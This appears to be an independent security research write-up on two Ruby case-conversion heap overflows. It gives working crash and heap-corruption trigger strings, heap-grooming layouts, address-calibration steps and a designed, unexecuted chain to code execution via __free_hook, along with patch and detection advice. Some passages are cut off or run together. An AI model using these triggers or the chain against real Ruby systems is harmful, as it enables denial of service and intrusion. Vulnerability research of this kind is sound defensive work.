## CVE-2026-132825 (GHSA-34m4-m9fh-gqp5) & GHSA-87fm-7w84-j2px — Independent Root-Cause Analysis and Reproduction
> Independent research on the two memory-corruption vulnerabilities fixed in the
> Ruby security release of **2026-11-18** (Ruby 3.3.14 / 3.4.13 / 4.0.10).
> All experiments were performed on self-owned, isolated test infrastructure.
> This write-up documents verified facts first; design-stage material is
| | CVE-2026-132825 | GHSA-87fm-7w84-j2px |
| Alias | "ruby2shell" (community name) | — |
| Bug class | 1-byte heap OOB **write** (CWE-193) | Integer overflow (CWE-190) → massive heap OOB **write** |
| Component | `case_map()` in 14 single-byte encodings (`enc/iso_8859_*.c`, `enc/windows_125*.c`) | `rb_str_casemap()` in `string.c` |
| Trigger surface | `String#upcase/downcase/swapcase/capitalize` on ISO-8859-x / Windows-125x strings | Same API family, **UTF-8**, result ≥ 2³² bytes |
| Write primitive (glibc 2.31) | fixed byte `0x53`/`0x73` at attacker-chosen chunk-size LSB | **single `memcpy` of ~1.45 GB** into a small buffer; total overflow ≡ 2³² bytes |
| Reproduced here | ASAN crash + real-glibc chunk-header corruption observed | ASAN `WRITE of size 1450000014` + native SIGSEGV |
| Fixed in | 3.3.14 / 3.4.13 / 4.0.10 (commit `d582f8f13d70`) | same releases (commit `bdff3c5d66dd`) |
| Introducer | Ruby 2.4.0 (2016, non-ASCII case mapping) | long-standing `int` accumulator |
**Headline findings of this research** (novel beyond the advisories):
1. The naive PoC for CVE-2026-132825 (a run of `0xDF` bytes) is **structurally
absorbed by glibc's allocation alignment** — it only "works" under ASAN.
Turning it into a real heap-metadata corruption requires a **mixed
expansion/invariant string** whose geometry we derive exactly (§2.4), and
which we confirmed on stock glibc 2.31 (§2.5).
2. For GHSA-87fm, the number of `case_map` passes is bounded by
`expansion_ratio ≤ pass multiplier`. This **kills every ISO-8859-1-based
overflow model** (and explains why naive triggers end in `ArgumentError` or
silent truncation). The overflow is only reachable in encodings with
expansion ratio 3 — e.g. **UTF-8 `U+0390`** — which unlocks a third pass and
3. The resulting overflow amount is *identically* `2³²` bytes for any valid
input length: the advisory's phrase *"result exceeds 4 GiB"* is a precise
statement the overflow size, not the string size (§3.4).
[multiple vulnerabilities in Regexp and String case conversion](
a batch of seven fixes. Two of them concern `String` case conversion:
* **GHSA-34m4-m9fh-gqp5 / CVE-2026-132825** — one-byte heap buffer overflow
during case conversion (credited to Stephan Lipp, Ada Logics, and Anthropic).
NVD: [CVE-2026-132825](
CVSS 3.1 7.4 (`AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H`).
* **GHSA-87fm-7w84-j2px** (CVE pending at the time of writing) — integer
overflow in case conversion leading to a heap buffer overflow
(credited to baba__yaga). The advisory states *"When changing the case of a
string whose converted result exceeds 4 GiB, the length of the result could
overflow, and Ruby could write past the end of a heap buffer."*
Both were fixed in Ruby **3.3.14 / 3.4.13 / 4.0.10**. Ruby ≤ 3.2 is EOL and
will not receive the fix; we verified the vulnerable code exists unchanged in
every checked tag from `v2_4_0` (2016) through `v3_4_12` (see §5).
The community dubbed CVE-2026-132825 **"ruby2shell"** after RCE claims by the
reporting party ([Veria Labs]( plans a public
PoC ~one week after disclosure). As of 2026-11-19 no public PoC exists for
either bug (see §6.1); the only semi-public trigger material is the upstream
regression test and an unmerged Crowdsec vpatch PR describing a
Rack-multipart / `_method` delivery path.
Environment used for this research: Ubuntu 20.04, glibc **2.31**
(tcache present, no safe-linking, `__free_hook` present), GCC 9.4, Ruby 3.4.12
built from the official tarball (ASAN and plain builds).
## 2. CVE-2026-132825 — the one-byte overflow, done properly
All fourteen affected encodings the same `case_map()` shape
(`enc/iso_8859_1.c:267` in every affected tag):
(commit [`d582f8f13d70`](
### 2.2 Allocation geometry (common misconception)
The overflowed buffer is the `mapping_buffer` allocated by
`rb_str_casemap()` (`string.c`, Ruby 3.4.12):
#define CASE_MAPPING_ADDITIONAL_LENGTH 20
size_t capa = (size_t)(source_end - source_current) * ++buffer_count
current_buffer = xmalloc(offsetof(mapping_buffer, space) + capa);
size_t capa; /* +0 */
size_t used; /* +8 */
struct mapping_buffer * ; /* +16 */
OnigUChar space[FLEX_ARY_LEN]; /* +24 */
So for a first pass over a string of `N` bytes the `malloc` request is
This is why the canonical ASAN PoC (`"\xDF"*21`) reports a **65-byte** region
(`21 + 44 = 65`), not the `N+20 = 41` one would guess from
# poc_132825.rb — CVE-2026-132825, ASAN crash
s = ("\xDF" * 21).force_encoding("ISO-8859-1")
`cflags="-fsanitize=address -fno-omit-frame-pointer -g -O1"
ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6070000043c1
WRITE of size 1 at 0x6070000043c1 thread T0
0x6070000043c1 is located 0 bytes to the right of 65-byte region
Full log: [`evidence/case1-132825-asan-iso8859.log`](evidence/case1-132825-asan-iso8859.log)
(SHA-256 `8e7846c5…`). Runnable script: [`poc/crash-132825.rb`](poc/crash-132825.rb)
(build + run instructions in [`poc/README.md`](poc/README.md)).
The Windows-1252 encoding behaves identically
([`evidence/case6-132825-asan-win1252.log`](evidence/case6-132825-asan-win1252.log),
| 1 | `"\xDF"*21` upcase | ASAN heap-buffer-overflow, exit 1 |
| 2 | `"\xDF"*22` upcase | clean (parity fills buffer exactly) |
| 3 | `"\xDF"*20` upcase | clean (output ≤ capa) |
| 4 | `"a"*21` upcase | clean (no expansion) |
| 5 | case 1 after patch `d582f8f13d70` | clean |
### 2.4 Why the naive PoC is *benign* on glibc — and how to fix that
On glibc, `malloc_usable_size(R) = align16(R + 8) - 8`. A one-byte write at
`buf[R]` damages the ** chunk's `size` field LSB** only when
`R ≡ 8 (mod 16)`; otherwise it lands in the allocator's alignment slack inside
A pure `ß` run with the overflow parity (odd `N`) forces
`R = N + 44` to be **odd**, i.e. never `≡ 8 (mod 16)`:
> **Pure-`ß` triggers are always absorbed by alignment slack on glibc.
The fix is to mix expansion bytes with 1:1 bytes so that the *loop-entry*
condition holds while the *request size* is fully controlled. Let the input be
[ k × 0xDF ][ m × 'a' ][ 1 × 0xDF ] (k expansion + m invariant prefix, trailing 0xDF)
N = k + m + 1, capa = N + 20, request R = N + 44
The final `ß` must enter with `to = capa - 1`, i.e. the prefix must produce
(independent of `m` — the 20 expansion bytes of prefix exactly consume
`CASE_MAPPING_ADDITIONAL_LENGTH`). The metadata-hitting condition becomes
R = m + 65 ≡ 8 (mod 16) ⟹ m ≡ 7 (mod 16)
# 1-byte write of 'S' (0x53) onto the chunk's size-field LSB, glibc:
("\xDF" * 20 + "a" * 7 + "\xDF").force_encoding("ISO-8859-1").upcase
# N = 28, R = 72 (0x50 chunk, usable 72) → 0x53 into chunk size LSB
The fold variant writes `0x73` instead of `0x53`. Runnable script:
[`poc/corrupt-glibc-132825.rb`](poc/corrupt-glibc-132825.rb), observed with
With an `LD_PRELOAD` malloc tracer that records the neighbouring chunk header
at `malloc(72)` and re-reads it at `free()`, the same address shows the
M72 nb=501 ← chunk size field before: 0x501 (0x500 | PREV_INUSE)
← after: 0x553 (0x500→0x550 size class change + IS_MMAPPED set)
Additional pairs observed: `0x61 → 0x53`, and a thread-arena top chunk
`0x20011 → 0x20053`. The corruption persists across 100+ subsequent triggers
at the same address. *(The `IS_MMAPPED` bit being set by `0x53` is itself an
interesting secondary corruption primitive.)*
Practical notes for anyone extending this: under Ruby 3.4's variable-width
allocation, strings ≤ ~640 bytes are embedded in GC slots and never hit
`malloc`, so heap choreography must use the `malloc(72)` of `upcase` itself as
## 3. GHSA-87fm — the 4 GiB-class overflow
`rb_str_casemap()` pre-fix (`string.c`, Ruby 3.4.12):
int target_length = 0; /* ← int */
current_buffer->space + current_buffer->capa, enc);
if (buffer_length_or_invalid used = buffer_length_or_invalid;
target = rb_str_new(0, target_length); /* allocation sized by wrapped int */
memcpy(target_current, current_buffer->space, current_buffer->used); /* per-pass copy */
The fix ([`bdff3c5d66dd`](
adds three defenses: `rb_len_t target_length`, an input-length guard
(`> INT_MAX - 20` raises), and an accumulation-overflow check. The triple
defense is itself a map of the three failure modes.
### 3.2 The pass-structure law (why naive models die)
`capa` grows by the pass number (`×1, ×2, ×3, …`). If an encoding's maximum
byte expansion ratio is `r`, then pass `p` can only stop at `to_end` (leaving
input unconsumed) when `p Everything in this section beyond §4.1 is **design-stage**: derived from
> deterministic layouts under `setarch -R` and verified layout measurements,
> but the end-to-end chain has **not** been executed to code execution yet.
### 4.1 Verified crash mechanics (native)
The 3.4 GiB copy crosses the three `mapping_buffer` chunks themselves. The
chunk headers of `buf2`/`buf1` lie in the write path; their `size` fields get
overwritten with case-mapped output bytes, clearing `IS_MMAPPED`. The process
survives the copy (when the span is fully mapped) and dies in
`mapping_buffer_free()` → `free(buf₁)` treating the chunk as an arena chunk
and dereferencing a NULL arena pointer (`Segmentation fault at 0x0`, RIP in
libc). Consequence: **crafted fake mmap headers in the overflow content are a
necessary survival condition**, and they are controllable (the content is the
### 4.2 Layout laws measured under `setarch -R`
* Big allocations (`s`, `buf1..3`, `target`) pack top-down and are stable
run-to-run with ASLR disabled; with an `LD_PRELOAD` logger the full geometry
* The copy stream `Σ` ends *inside* `buf1`'s data in a packed layout: the
write never escapes above the buffers. **A victim must be placed between
buffers** (the natural inter-buffer gaps), not above them.
* GC heap pages sit far above the mapping-buffer stack in the default layout
### 4.3 Grooming design (inter-buffer victim)
s (L bytes) → X = "A"×1.6G → victim = Array(2M refs) → Y = "B"×2.1G
buf1 → X-hole, buf2 → Y-hole, buf3/target → below
[s][buf1][VICTIM][buf2][slack][buf3][target]
copy: target → buf3 → buf2 → victim → inside buf1 (fully mapped)
Survival requires forging the three mmap chunk headers (real sizes are
### 4.4 Payload-carrying constraint: UTF-16LE
The overflow content is case-mapped *input*, so it must be a valid encoding
sequence that survives case mapping unchanged. UTF-8 cannot carry arbitrary
pointer bytes (invalid sequences raise). **UTF-16LE** works: it has the same
ratio-3 unlock (`U+0390 → 0399 0308 0300`), and payload bytes only need each
16-bit unit to (a) avoid the surrogate range `0xD800–0xDFFF` and (b) have no
case mapping. E.g. real pointer bytes like `… 34 de …` pair into the surrogate
unit `0xde34` — solvable by placing fake objects at **odd byte offsets**,
which shifts the unit grid (`0x34xx` = CJK-A, `0xffxx` = private use — both
### 4.5 Address calibration without primitives
With `personality(ADDR_NO_RANDOMIZE)` inherited by the child, a *parent*
Python process reads `/proc//mem` while the Ruby process is parked
(`ptrace_scope` requires the parent relationship). This yields every constant
the chain needs — `rb_cString` VALUE, a heap-string RVALUE 40-byte template,
libc base, `__free_hook`, `system` — with no memory-disclosure primitive:
RUBYBASE=0x555555554000 LIBCBASE=0x7ffff7bf7000
rb_cString=0x7fffde34ec58 __free_hook = LIBCBASE+0x1eee48
### 4.6 Designed chain to RCE (not yet executed)
1. groom per §4.3; trigger with a crafted UTF-16LE input whose mapped output
places: three fake mmap headers, a `VALUE*` fill of the victim array with a
fake String reference, and a fake heap-String RVALUE (pointer →
`__free_hook`) inside the intact body of `s`;
2. post-trigger Ruby code: `victim[k]` is the fake String → arbitrary R/W;
3. `__free_hook = system`; `GC.start` frees a heap string whose buffer begins
glibc 2.31 keeps `__free_hook` and has no safe-linking — the chain is
environment-specific by design; nothing here claims an ASLR bypass (§4.5
disables ASLR for calibration and the demo).
| ASAN crash, both bugs, exact numeric match | **verified** |
| CVE-2026-132825 1-byte write onto chunk `size` LSB on glibc 2.31 | **verified** (tracer before/after) |
| 87fm copy-loop mechanics, survival conditions, layout laws | **verified** (deterministic replays) |
| Inter-buffer victim grooming | design verified by layout measurement; smash not yet executed |
| Fake-object / `__free_hook` chain | designed, not executed |
Code-level verification (raw sources per tag, `enc/iso_8859_1.c`):
| Tag | Vulnerable pattern `while (*pp 1`) |
* Ruby ≤ 3.2 (incl. macOS system Ruby 2.6.10) is EOL — vulnerable, no upstream
* As of 2026-11-19 no distro has shipped a fixed package:
Ubuntu (focal/jammy/noble) "Needs evaluation"; Debian tracker "check";
Red Hat tracking bug 2576211 (NEW, high).
### 6.1 Public PoC landscape (as of 2026-11-19)
14-query GitHub matrix + issues + exploit-db: **no third-party PoC**
for either bug. The upstream regression test is a de-facto trigger recipe;
the only concrete delivery path in public is the (unmerged) Crowdsec hub
PR #2018: Rack resolves a multipart part's `Content-Type` charset via
`Encoding.find`, recodes the field value, and Rails/Rack then `upcase` the
`_method` override field — an unauthenticated vector in default Rails/Sinatra
(classic) configurations, per that PR's analysis. Independent commentary
(Sekurak) doubts stable RCE and rates DoS more likely — consistent with our
§2.4 finding that the 1-byte primitive needs non-obvious geometry to do
* Upgrade to 3.3.14 / 3.4.13 / 4.0.10 and restart; rebuild container images.
* ≤ 3.2 deployments: no patch exists — isolate or migrate.
* Feature-level: case conversion only reaches the vulnerable single-byte
`case_map` for ISO-8859-x / Windows-125x strings, and the 87fm path needs a
≥ 1.43 GiB string — both are anomalous in normal web traffic; multipart
parts declaring legacy charsets are inherently suspicious.
* Monitor Ruby worker crashes (`Segmentation fault at 0x0` inside
`String#upcase`-family frames is a strong post-factum indicator).
| 2016 (Ruby 2.4 dev) | vulnerable `case_map` introduced (`02f7ad62`, `2d2b6460`) |
| 2026-10-28 | fix `d582f8f13d70` authored (sharp s) |
| 2026-11-09 | fix `bdff3c5d66dd` authored (length checks) |
| 2026-11-18 | ruby-lang advisory; releases 3.3.14 / 3.4.13 / 4.0.10 |
| 2026-11-19 | GHSA-34m4 published; NVD CVE-2026-132825 (Received); this research: ASAN repro (both bugs), glibc corruption observations, layout calibration |
| ~2026-11-26 | Veria Labs announced public PoC window |
* Fixes: `d582f8f13d70`, `bdff3c5d66dd` (ruby/ruby)
Both vulnerabilities were found and reported upstream by their credited
researchers (Stephan Lipp / Ada Logics & Anthropic; baba__yaga). This
repository is independent root-cause, reproduction, and exploitation
*research* conducted on self-owned, isolated test systems, published for
defensive understanding. No third-party system was tested. Weaponization
sections are incomplete by intention and by status; readers deploying Ruby
should treat upgrading as the only real remediation.
Research & reproduction: **even** — 2026-11-19.
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
